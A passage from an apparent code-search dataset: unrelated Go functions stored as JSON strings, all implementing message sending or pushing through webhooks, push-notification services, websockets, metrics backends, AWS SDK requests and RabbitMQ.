s.endpoint,\n\t\t},\n\t).Debug(\"Trying to send\")\n\n\tt1 := time.Now()\n\tresp, err := s.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK &&\n\t\tresp.StatusCode != http.StatusCreated &&\n\t\tresp.StatusCode != http.StatusNoContent && resp.StatusCode != http.StatusProcessing {\n\t\tbuf := bytes.Buffer{}\n\t\tbuf.ReadFrom(resp.Body)\n\t\treturn errors.New(buf.String())\n\t}\n\n\tlog.WithFields(\n\t\tlog.Fields{\n\t\t\t\"type\": \"performance_log\",\n\t\t\t\"message(s)\": msgs,\n\t\t\t\"endpoint\": s.endpoint,\n\t\t\t\"processing_time\": time.Since(t1).String(),\n\t\t},\n\t).Info(\"Delivered successfully\")\n\n\treturn nil\n}", "func (o *Okcoin) SendWebsocketRequest(operation string, data, result interface{}, authenticated bool) error {\n\tswitch {\n\tcase !o.Websocket.IsEnabled():\n\t\treturn errors.New(stream.WebsocketNotEnabled)\n\tcase !o.Websocket.IsConnected():\n\t\treturn stream.ErrNotConnected\n\tcase !o.Websocket.CanUseAuthenticatedEndpoints() && authenticated:\n\t\treturn errors.New(\"websocket connection not authenticated\")\n\t}\n\treq := &struct {\n\t\tID string `json:\"id\"`\n\t\tOperation string `json:\"op\"`\n\t\tArguments interface{} `json:\"args\"`\n\t}{\n\t\tID: strconv.FormatInt(o.Websocket.Conn.GenerateMessageID(false), 10),\n\t\tOperation: operation,\n\t}\n\tif reflect.TypeOf(data).Kind() == reflect.Slice {\n\t\treq.Arguments = data\n\t} else {\n\t\treq.Arguments = []interface{}{data}\n\t}\n\tvar byteData []byte\n\tvar err error\n\t// TODO: ratelimits for websocket\n\tif authenticated {\n\t\tbyteData, err = o.Websocket.AuthConn.SendMessageReturnResponse(req.ID, req)\n\t} else {\n\t\tbyteData, err = o.Websocket.Conn.SendMessageReturnResponse(req.ID, req)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tresponse := struct {\n\t\tID string `json:\"id\"`\n\t\tOperation string `json:\"op\"`\n\t\tData interface{} `json:\"data\"`\n\t\tCode string `json:\"code\"`\n\t\tMessage string `json:\"msg\"`\n\t}{\n\t\tData: &result,\n\t}\n\terr = json.Unmarshal(byteData, &response)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif response.Code != \"\" && response.Code != \"0\" && response.Code != \"1\" && response.Code != \"2\" {\n\t\tif response.Message == \"\" {\n\t\t\tresponse.Message = websocketErrorCodes[response.Code]\n\t\t}\n\t\treturn fmt.Errorf(\"%s websocket error code: %s message: %s\", o.Name, response.Code, response.Message)\n\t}\n\treturn nil\n}", "func (c *Client) Push(xm *XMMessage) (response *Response, err error) {\n\tif c.Stats != nil {\n\t\tnow := time.Now()\n\t\tdefer func() {\n\t\t\tc.Stats.Timing(c.URL, int64(time.Since(now)/time.Millisecond))\n\t\t\tlog.Info(\"mi stats timing: %v\", int64(time.Since(now)/time.Millisecond))\n\t\t\tif err != nil {\n\t\t\t\tc.Stats.Incr(c.URL, \"failed\")\n\t\t\t}\n\t\t}()\n\t}\n\tvar req *http.Request\n\tif req, err = http.NewRequest(http.MethodPost, c.URL, bytes.NewBuffer([]byte(xm.xmuv.Encode()))); err != nil {\n\t\tlog.Error(\"http.NewRequest() error(%v)\", err)\n\t\treturn\n\t}\n\treq.Header = c.Header\n\tvar res *http.Response\n\tif res, err = c.HTTPClient.Do(req); err != nil {\n\t\tlog.Error(\"HTTPClient.Do() error(%v)\", err)\n\t\treturn\n\t}\n\tdefer res.Body.Close()\n\tresponse = &Response{}\n\tvar bs []byte\n\tbs, err = ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\tlog.Error(\"ioutil.ReadAll() error(%v)\", err)\n\t\treturn\n\t} else if len(bs) == 0 {\n\t\treturn\n\t}\n\tif e := json.Unmarshal(bs, &response); e != nil {\n\t\tif e != io.EOF {\n\t\t\tlog.Error(\"json decode body(%s) error(%v)\", string(bs), e)\n\t\t}\n\t}\n\treturn\n}", "func (c ProwlClient) Push(n Notification) error {\n\n\tkeycsv := strings.Join(n.apikeys, \",\")\n\n\tvals := url.Values{\n\t\t\"apikey\": []string{keycsv},\n\t\t\"application\": []string{n.Application},\n\t\t\"description\": []string{n.Description},\n\t\t\"event\": []string{n.Event},\n\t\t\"priority\": []string{string(n.Priority)},\n\t}\n\n\tif n.URL != \"\" {\n\t\tvals[\"url\"] = []string{n.URL}\n\t}\n\n\tif c.ProviderKey != \"\" {\n\t\tvals[\"providerkey\"] = []string{c.ProviderKey}\n\t}\n\n\tr, err := http.PostForm(apiURL+\"/add\", vals)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer r.Body.Close()\n\n\tif r.StatusCode != 200 {\n\t\terr = decodeError(r.Status, r.Body)\n\t}\n\n\treturn err\n}", "func (h *Hub) Send(conn *websocket.Conn, data []byte, mt int) {\n\th.ch <- channelMessage{\n\t\tdata: data,\n\t\tconn: conn,\n\t\tmt: mt,\n\t}\n}", "func (c *Hook) SendWebHook() string {\n\tjsonStr := []byte(c.JSONRequest())\n\treq, err := http.NewRequest(\"POST\", c.webHookURL, bytes.NewBuffer(jsonStr))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\treturn resp.Status\n}", "func (s *sendClient) sendMetrics(buf []byte) error {\n\treq, err := http.NewPushRequest(s.writeURL.String(), s.apiKey, s.hostname, buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = http.DoPushRequest(s.writeClient, req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (n *Notification) Send() error {\n\tvals := make(url.Values)\n\tvals.Set(\"token\", n.APIToken)\n\tvals.Set(\"user\", n.UserKey)\n\tvals.Set(\"message\", n.Message)\n\tvals.Set(\"title\", n.Title)\n\n\tresp, err := n.Client.PostForm(API, vals)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar r apiResponse\n\tif err := json.NewDecoder(resp.Body).Decode(&r); err != nil {\n\t\treturn err\n\t}\n\n\tif r.Status != 1 {\n\t\treturn errors.New(strings.Join(r.Errors, \": \"))\n\t} else if strings.Contains(r.Info, \"no active devices\") {\n\t\treturn errors.New(r.Info)\n\t}\n\n\treturn nil\n}", "func (conn *PeerConnection) send(payload string) {\n\tconn.ws.SetWriteDeadline(time.Now().Add(writeWait))\n\tconn.ws.WriteMessage(websocket.TextMessage, []byte(payload))\n}", "func (r DescribeSubscribedWorkteamRequest) Send(ctx context.Context) (*DescribeSubscribedWorkteamResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &DescribeSubscribedWorkteamResponse{\n\t\tDescribeSubscribedWorkteamOutput: r.Request.Data.(*DescribeSubscribedWorkteamOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "func (graphite *Graphite) SimpleSend(stat string, value string) error {\n\tmetric := NewMetric(stat, value, time.Now().Unix())\n\terr := graphite.sendMetric(metric)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (self *WtfPush) Run() {\n\tfor {\n\t\tblob := <-self.pushch\n\t\tif self.conn == nil {\n\t\t\tconn, err := net.DialTCP(\"tcp\", nil, self.addr)\n\t\t\tif err == nil {\n\t\t\t\tself.conn = conn\n\t\t\t} else {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tif self.conn != nil {\n\t\t\terr := SendBlob(self.conn, blob)\n\t\t\tif err != nil {\n\t\t\t\t_ = self.conn.Close()\n\t\t\t\tself.conn = nil\n\t\t\t}\n\t\t}\n\t}\n}", "func push(w http.ResponseWriter, resource string) {\n\tpusher, ok := w.(http.Pusher)\n\tif ok {\n\t\tif err := pusher.Push(resource, nil); err == nil {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (c *WSClient) Send(message []byte) {\n\tc.send <- message\n}", "func (t *Telemetry) Send() {\n\t// always log step telemetry data to logfile used for internal use-case\n\tt.logStepTelemetryData()\n\n\t// skip if telemetry is disabled\n\tif t.disabled {\n\t\treturn\n\t}\n\n\trequest, _ := url.Parse(t.BaseURL)\n\trequest.Path = t.Endpoint\n\trequest.RawQuery = t.data.toPayloadString()\n\tlog.Entry().WithField(\"request\", request.String()).Debug(\"Sending telemetry data\")\n\tt.client.SendRequest(http.MethodGet, request.String(), nil, nil, nil)\n}", "func (service *Service) Send(message string, paramsPtr *types.Params) error {\n\tconfig := *service.config\n\n\tvar params types.Params\n\tif paramsPtr == nil {\n\t\tparams = types.Params{}\n\t} else {\n\t\tparams = *paramsPtr\n\t}\n\n\tif err := service.pkr.UpdateConfigFromParams(&config, &params); err != nil {\n\t\tservice.Logf(\"Failed to update params: %v\", err)\n\t}\n\n\t// Create a mutable copy of the passed params\n\tsendParams := createSendParams(&config, params, message)\n\n\tif err := service.doSend(&config, sendParams); err != nil {\n\t\treturn fmt.Errorf(\"an error occurred while sending notification to generic webhook: %s\", err.Error())\n\t}\n\n\treturn nil\n}", "func (ta *TruAPI) HandlePush(res http.ResponseWriter, req *http.Request) {\n\n\t// firing up the http client\n\tclient := &http.Client{\n\t\tTimeout: time.Second * 10,\n\t}\n\n\t// preparing the request\n\trequest, err := http.NewRequest(http.MethodPost, ta.APIContext.Config.Push.EndpointURL+parsePath(req.URL.Path), req.Body)\n\tfmt.Println(request)\n\tif err != nil {\n\t\trender.Error(res, req, err.Error(), http.StatusBadRequest)\n\t}\n\trequest.Header.Add(\"Accept\", \"application/json\")\n\trequest.Header.Add(\"Content-Type\", \"application/json\")\n\n\t// processing the request\n\tresponse, err := client.Do(request)\n\tif err != nil {\n\t\trender.Error(res, req, err.Error(), http.StatusBadRequest)\n\t}\n\n\t// reading the response\n\tresponseBody, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\trender.Error(res, req, err.Error(), http.StatusBadRequest)\n\t}\n\n\t// if all went well, sending back the response\n\tres.Header().Set(\"Content-Type\", \"application/json\")\n\tres.WriteHeader(http.StatusOK)\n\t_, err = res.Write(responseBody)\n\tif err != nil {\n\t\trender.Error(res, req, err.Error(), http.StatusBadRequest)\n\t}\n}", "func (client *GatewayClient) Send(pn *PushNotification) (resp *PushNotificationResponse) {\n\tresp = new(PushNotificationResponse)\n\tconn, err := client.getConn()\n\tif err != nil {\n\t\tvlogf(\"Error retrieving a connection: %s\", err)\n\t\treturn &PushNotificationResponse{\n\t\t\tError: err,\n\t\t\tSuccess: false,\n\t\t}\n\t}\n\n\tbytes, err := pn.ToBytes()\n\tif err != nil {\n\t\tvlogf(\"Error converting payload: %s\", err)\n\t\tresp.Success = false\n\t\tresp.Error = err\n\t\treturn\n\t}\n\tw := 0\n\tfor w < len(bytes) {\n\t\ti, err := conn.Write(bytes[w:])\n\t\tif err != nil {\n\t\t\tvlogf(\"Error writing to connection: %s\", err)\n\t\t\treturn &PushNotificationResponse{\n\t\t\t\tError: err,\n\t\t\t\tSuccess: false,\n\t\t\t}\n\t\t}\n\t\tw += i\n\t\ttime.Sleep(time.Millisecond)\n\t}\n\n\tdefer client.putConn(conn)\n\n\tresponseChannel := make(chan []byte, 1)\n\tdefer close(responseChannel)\n\tgo func() {\n\t\tb := make([]byte, 6)\n\t\tr := 0\n\t\tfor r < len(b) {\n\t\t\ti, err := conn.Read(b[r:])\n\t\t\tif err != nil {\n\t\t\t\tvlogf(\"Unable to Read from Connection: %s\\n\", err)\n\t\t\t\treturn // well... crap... must have some big error.\n\t\t\t}\n\t\t\tr += i\n\t\t}\n\n\t\tresponseChannel <- b\n\t}()\n\n\tctx, _ := context.WithTimeout(context.Background(), TimeoutSeconds*time.Second)\n\n\tselect {\n\tcase b := <-responseChannel:\n\t\tvlogf(\"Apple Binary API Error: %s\", AppleResponseCode(b[1]))\n\t\tresp.AppleResponse = AppleResponseCode(b[1])\n\t\tresp.Error = AppleResponseCode(b[1])\n\t\tresp.Success = false\n\tcase <-ctx.Done():\n\t\t// deadline exceeded...\n\t}\n\treturn\n}", "func Push(ctx echo.Context) error {\n\n\tmsg := types.Message{}\n\n\terr := ctx.Bind(&msg)\n\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tif !registration.IsAgentRegistered(msg.Token) {\n\t\treturn ctx.JSON(403, types.ValidateResponse{Success: false, Message: \"Security Token Not Recognized\"})\n\t}\n\n\tgo PushToQueue(msg)\n\treturn ctx.JSON(200, types.PushResponse{true})\n}", "func (b *Backend) Send(txPacket loraserver.TXPacket) error {\n\tvar buf bytes.Buffer\n\tenc := gob.NewEncoder(&buf)\n\tif err := enc.Encode(txPacket); err != nil {\n\t\treturn err\n\t}\n\ttopic := fmt.Sprintf(\"gateway/%s/tx\", txPacket.TXInfo.MAC)\n\tlog.WithField(\"topic\", topic).Info(\"gateway/mqttpubsub: publishing message\")\n\tif token := b.conn.Publish(topic, 0, false, buf.Bytes()); token.Wait() && token.Error() != nil {\n\t\treturn token.Error()\n\t}\n\treturn nil\n}", "func (c *Client) Send(packet Packet) error {\n\tdata, err := json.Marshal(packet)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// TODO: change to byte\n\tc.conn.WriteMessage(websocket.TextMessage, data)\n\treturn nil\n}", "func SubVerifyPushEndpoint(w http.ResponseWriter, r *http.Request) {\n\n\t// Add content type header to the response\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Grab url path variables\n\turlVars := mux.Vars(r)\n\tsubName := urlVars[\"subscription\"]\n\n\t// Get project UUID First to use as reference\n\tprojectUUID := gorillaContext.Get(r, \"auth_project_uuid\").(string)\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\n\tpwToken := gorillaContext.Get(r, \"push_worker_token\").(string)\n\n\tpushEnabled := gorillaContext.Get(r, \"push_enabled\").(bool)\n\n\tpushW := auth.User{}\n\n\t// check the state of the push functionality\n\tif !pushEnabled {\n\t\terr := APIErrorPushConflict()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\tpushW, err := auth.GetPushWorker(pwToken, refStr)\n\tif err != nil {\n\t\terr := APIErrInternalPush()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Get Result Object\n\tres, err := subscriptions.Find(projectUUID, \"\", subName, \"\", 0, refStr)\n\n\tif err != nil {\n\t\terr := APIErrGenericBackend()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\tif res.Empty() {\n\t\terr := APIErrorNotFound(\"Subscription\")\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\tsub := res.Subscriptions[0]\n\n\t// check that the subscription is push enabled\n\tif sub.PushCfg == (subscriptions.PushConfig{}) {\n\t\terr := APIErrorGenericConflict(\"Subscription is not in push mode\")\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// check that the endpoint isn't already verified\n\tif sub.PushCfg.Verified {\n\t\terr := APIErrorGenericConflict(\"Push endpoint is already verified\")\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// verify the push endpoint\n\tc := new(http.Client)\n\terr = subscriptions.VerifyPushEndpoint(sub, c, refStr)\n\tif err != nil {\n\t\terr := APIErrPushVerification(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// activate the subscription on the push backend\n\tapsc := gorillaContext.Get(r, \"apsc\").(push.Client)\n\tapsc.ActivateSubscription(context.TODO(), sub.FullName, sub.FullTopic, sub.PushCfg.Pend,\n\t\tsub.PushCfg.RetPol.PolicyType, uint32(sub.PushCfg.RetPol.Period), sub.PushCfg.MaxMessages)\n\n\t// modify the sub's acl with the push worker's uuid\n\terr = auth.AppendToACL(projectUUID, \"subscriptions\", sub.Name, []string{pushW.Name}, refStr)\n\tif err != nil {\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// link the sub's project with the push worker\n\terr = auth.AppendToUserProjects(pushW.UUID, projectUUID, refStr)\n\tif err != nil {\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\trespondOK(w, []byte{})\n}", "func (a activePlugin) Send(subscription kbchat.SubscriptionMessage, msg string) error {\n\tdebugPrintf(\"Starting kbchat\\n\")\n\tw, err := kbchat.Start(\"chat\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"[URL Short Error] in send request %v\", err)\n\t}\n\tdebugPrintf(\"Sending this message to messageID: %s\\n%s\\n\", subscription.Conversation.ID, msg)\n\tif err := w.SendMessage(subscription.Conversation.ID, msg); err != nil {\n\t\tif err := w.Proc.Kill(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn err\n\t}\n\tdebugPrintf(\"Killing child process\\n\")\n\treturn w.Proc.Kill()\n}", "func (s *Slack) Send(pending []reviewit.MergeRequest) error {\n\ts.pending = pending\n\ts.build()\n\tbuf, err := json.Marshal(&s.msg)\n\tif err != nil {\n\t\treturn errors.WithMessage(err, \"failure to Marshal\")\n\t}\n\treq, _ := http.NewRequest(\"POST\", s.WebhookURL, bytes.NewReader(buf))\n\tif _, err := http.DefaultClient.Do(req); err != nil {\n\t\treturn errors.WithMessage(err, \"slack post message failed\")\n\t}\n\treturn nil\n}", "func (wc *WebClient) SendMessage(message string) {\n\twc.logger.Debug(\"WebClient.SendMessage() - %s\", message)\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\terr := wc.conn.Write(ctx, ws.MessageText, []byte(message))\n\tif err != nil {\n\t\twc.logger.Error(\"Error encountered writing to webclient: %v\", err)\n\t}\n}", "func (hc *HuaweiPushClient) PushMsg(accessToken, deviceToken, payload string, timeToLive int) (string, error) {\n\treqUrl := PUSH_URL + \"?nsp_ctx=\" + url.QueryEscape(hc.NspCtx)\n\n\tnow := time.Now()\n\texpireSecond := time.Duration(timeToLive * 1e9)\n\texpireTime := now.Add(expireSecond)\n\n\tvar originParam = map[string]string{\n\t\t\"access_token\": accessToken,\n\t\t\"nsp_svc\": NSP_SVC,\n\t\t\"nsp_ts\": strconv.Itoa(int(time.Now().Unix())),\n\t\t\"device_token_list\": \"[\\\"\" + deviceToken + \"\\\"]\",\n\t\t\"payload\": payload,\n\t\t\"expire_time\": expireTime.Format(\"2006-01-02T15:04\"),\n\t}\n\n\tparam := make(url.Values)\n\tparam[\"access_token\"] = []string{originParam[\"access_token\"]}\n\tparam[\"nsp_svc\"] = []string{originParam[\"nsp_svc\"]}\n\tparam[\"nsp_ts\"] = []string{originParam[\"nsp_ts\"]}\n\tparam[\"device_token_list\"] = []string{originParam[\"device_token_list\"]}\n\tparam[\"payload\"] = []string{originParam[\"payload\"]}\n\tparam[\"expire_time\"] = []string{originParam[\"expire_time\"]}\n\n\t// push\n\tres, err := FormPost(reqUrl, param)\n\n\treturn string(res), err\n}", "func Send(title string, posturl string) error {\n\treturn savedNotification.Send(title, posturl)\n}", "func (mb MessageBroadcast) Push(title, body, url, serviceName string) error {\n\terr := mb.Notifier.SendNotification(fmt.Sprintf(\"%s - %s\", serviceName, title), body, url)\n\treturn err\n}", "func (r RegisterUsageRequest) Send(ctx context.Context) (*RegisterUsageResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &RegisterUsageResponse{\n\t\tRegisterUsageOutput: r.Request.Data.(*RegisterUsageOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "func (r RegisterUsageRequest) Send(ctx context.Context) (*RegisterUsageResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &RegisterUsageResponse{\n\t\tRegisterUsageOutput: r.Request.Data.(*RegisterUsageOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "func (net *netService) push(session *session.Session, route string, data []byte) error {\n\tm, err := message.Encode(&message.Message{\n\t\tType: message.MessageType(message.Push),\n\t\tRoute: route,\n\t\tData: data,\n\t})\n\n\tif err != nil {\n\t\tlog.Errorf(err.Error())\n\t\treturn err\n\t}\n\n\tp := packet.Packet{\n\t\tType: packet.Data,\n\t\tLength: len(m),\n\t\tData: m,\n\t}\n\tep, err := p.Pack()\n\tif err != nil {\n\t\tlog.Errorf(err.Error())\n\t\treturn err\n\t}\n\n\tnet.send(session, ep)\n\treturn nil\n}", "func Send() {\n\n\tconn, err := amqp.Dial(\"amqp://guest:[email protected]:5672/\")\n\tlogs.FailOnError(err, \"Failed to connect to RabbitMQ\")\n\tdefer conn.Close()\n\n\tch, err := conn.Channel()\n\tlogs.FailOnError(err, \"Failed to open a channel\")\n\tdefer ch.Close()\n\n\tq, err := ch.QueueDeclare(\n\t\t\"hello\", // name\n\t\tfalse, // durable\n\t\tfalse, // delete when unused\n\t\tfalse, // exclusive\n\t\tfalse, // no-wait\n\t\tnil, // arguments\n\t)\n\tlogs.FailOnError(err, \"Failed to declare a queue\")\n\n\treserva, err := repository.GetReserva()\n\tlogs.FailOnError(err, \"Failed to get data in repository\")\n\n\tinfo, err := json.Serialize(reserva)\n\tlogs.FailOnError(err, \"Failed to serialize the data\")\n\n\tbody := info\n\terr = ch.Publish(\n\t\t\"\", // exchange\n\t\tq.Name, // routing key\n\t\tfalse, // mandatory\n\t\tfalse, // immediate\n\t\tamqp.Publishing{\n\t\t\tContentType: \"application/json\",\n\t\t\tBody: body,\n\t\t})\n\tlogs.FailOnError(err, \"Failed to establish a message\")\n\n}", "func (r ConfirmSubscriptionRequest) Send(ctx context.Context) (*ConfirmSubscriptionResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &ConfirmSubscriptionResponse{\n\t\tConfirmSubscriptionOutput: r.Request.Data.(*ConfirmSubscriptionOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "func (c *client) send(payload string) http.Response {\n\tbuf := new(bytes.Buffer)\n\tif _, err := buf.WriteString(payload); err != nil {\n\t\tpanic(err)\n\t}\n\trequest, err := http.NewRequest(\"POST\", fmt.Sprintf(\"http://%s/packets\", c.adapter), buf)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := c.Do(request)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn *resp\n}", "func (c *conn) push(associated *stream, priority byte, r *http.Request) (err error) {\n\tstream := &stream{\n\t\tID: newServerStreamID(),\n\t\tPriority: priority,\n\t\tpeerHalfClosed: true,\n\t}\n\tc.addStream(stream)\n\tvar synStream framing.SynStream\n\tif synStream, err = newServerPushSynStream(c.Version, stream.ID, associated, r); err != nil {\n\t\tlog.Panic(err)\n\t}\n\tvar w responseWriter\n\tif w, err = newResponseWriter(c.Version, stream, c, synStream); err != nil {\n\t\treturn\n\t}\n\tc.Handler.ServeHTTP(w, r)\n\tw.Close()\n\treturn\n}", "func (p *Pusher) Push(ctx context.Context) error {\n\tif p.PushFormat == \"\" {\n\t\tp.PushFormat = expfmt.FmtText\n\t}\n\n\tresps := make(chan (error))\n\tgo func() {\n\t\tresps <- p.push(ctx)\n\t}()\n\n\tselect {\n\tcase err := <-resps:\n\t\treturn err\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\t}\n}", "func (d *Dao) Send(c context.Context, mc, title, msg string, mid int64) (err error) {\n\tparams := url.Values{}\n\tparams.Set(\"type\", \"json\")\n\tparams.Set(\"source\", \"1\")\n\tparams.Set(\"data_type\", \"4\")\n\tparams.Set(\"mc\", mc)\n\tparams.Set(\"title\", title)\n\tparams.Set(\"context\", msg)\n\tparams.Set(\"mid_list\", strconv.FormatInt(mid, 10))\n\tvar res struct {\n\t\tCode int `json:\"code\"`\n\t}\n\tif err = d.client.Post(c, d.uri, \"\", params, &res); err != nil {\n\t\tlog.Error(\"message url(%s) error(%v)\", d.uri+\"?\"+params.Encode(), err)\n\t\treturn\n\t}\n\tlog.Info(\"SendSysNotify url: (%s)\", d.uri+\"?\"+params.Encode())\n\tif res.Code != 0 {\n\t\tlog.Error(\"message url(%s) error(%v)\", d.uri+\"?\"+params.Encode(), res.Code)\n\t\terr = fmt.Errorf(\"message send failed\")\n\t}\n\treturn\n}", "func New(sub *Subscription, message []byte, opts *Options) (*http.Request, error) {\n\tif sub == nil {\n\t\treturn nil, errors.New(\"webpush: Encrypt requires non-nil Subscription\")\n\t}\n\n\tif opts == nil {\n\t\topts = &Options{}\n\t}\n\n\tkeypair, err := generateKey(p256)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsalt, err := randomBytes(16)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treader, err := encrypt(sub, keypair, message, salt, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(http.MethodPost, sub.Endpoint, reader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = setHeaders(req, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn req, nil\n}", "func (ans *ANS) Send(event Event) error {\n\tconst eventPath = \"/cf/producer/v1/resource-events\"\n\tentireUrl := strings.TrimRight(ans.URL, \"/\") + eventPath\n\n\trequestBody, err := json.Marshal(event)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresponse, err := ans.sendRequest(http.MethodPost, entireUrl, bytes.NewBuffer(requestBody))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn handleStatusCode(entireUrl, http.StatusAccepted, response)\n}", "func (pushbots *PushBots) sendToEndpoint(endpoint string, args apiRequest) ([]byte, error) {\n\n\tif pushbots.endpoints == nil {\n\t\tpushbots.initializeEndpoints(\"\")\n\t}\n\n\tpushbotEndpoint, available := pushbots.endpoints[endpoint]\n\n\tif available == false {\n\t\treturn []byte{}, errors.New(\"Could not find endpoint\")\n\t}\n\n\tjsonPayload, err := json.Marshal(args)\n\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\tif pushbots.Debug == true {\n\n\t\tfmt.Println(\"Sending JSON:\", string(jsonPayload))\n\t}\n\n\treq, err := http.NewRequest(pushbotEndpoint.HttpVerb, pushbotEndpoint.Endpoint, strings.NewReader(string(jsonPayload)))\n\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\tif pushbots.AppId == \"\" || pushbots.Secret == \"\" {\n\t\treturn []byte{}, errors.New(\"Appid and/or secret key not set\")\n\t}\n\n\treq.Header.Set(\"x-pushbots-appid\", pushbots.AppId)\n\treq.Header.Set(\"x-pushbots-secret\", pushbots.Secret)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tclient := new(http.Client)\n\n\tresp, err := client.Do(req)\n\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\n\tif pushbots.Debug == true {\n\t\tfmt.Println(\"Response object:\", resp)\n\t\tfmt.Println(\"Response content\", string(body))\n\t}\n\n\tif resp.StatusCode != 200 && resp.StatusCode != 201 {\n\t\treturn body, errors.New(\"Error response from server\")\n\t}\n\n\treturn body, err\n}", "func (s *EchoerServerStream) Send(v string) error {\n\tvar err error\n\t// Upgrade the HTTP connection to a websocket connection only once. Connection\n\t// upgrade is done here so that authorization logic in the endpoint is executed\n\t// before calling the actual service method which may call Send().\n\ts.once.Do(func() {\n\t\tvar conn *websocket.Conn\n\t\tconn, err = s.upgrader.Upgrade(s.w, s.r, nil)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif s.configurer != nil {\n\t\t\tconn = s.configurer(conn, s.cancel)\n\t\t}\n\t\ts.conn = conn\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tres := v\n\treturn s.conn.WriteJSON(res)\n}", "func (h *notificationHandler) handleTests(w http.ResponseWriter, r *http.Request) {\n\th.mutex.Lock()\n\tdefer h.mutex.Unlock()\n\n\tfor _, sub := range h.subscriptions {\n\t\tgo func(sub webpush.Subscription) {\n\t\t\tn := rand.Intn(42)\n\t\t\tfmt.Println(\"sending push\", n)\n\n\t\t\tnotif := app.Notification{\n\t\t\t\tTitle: fmt.Sprintf(\"Push test from server %v\", n),\n\t\t\t\tBody: fmt.Sprintf(\"YEAH BABY PUSH ME %v\", n),\n\t\t\t\tIcon: \"/web/images/go-app.png\",\n\t\t\t\tPath: \"/notifications#sending-push-notification\",\n\t\t\t\t// Actions: []app.NotificationAction{\n\t\t\t\t// \t{Action: \"js\", Title: \"JS\", Path: \"/js\"},\n\t\t\t\t// \t{Action: \"seo\", Title: \"SEO\", Path: \"/seo\"},\n\t\t\t\t// },\n\t\t\t}\n\n\t\t\tb, err := json.Marshal(notif)\n\t\t\tif err != nil {\n\t\t\t\tapp.Log(err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tres, err := webpush.SendNotification(b, &sub, &webpush.Options{\n\t\t\t\tVAPIDPrivateKey: h.VAPIDPrivateKey,\n\t\t\t\tVAPIDPublicKey: h.VAPIDPublicKey,\n\t\t\t\tTTL: 30,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tapp.Log(errors.New(\"sending push notification 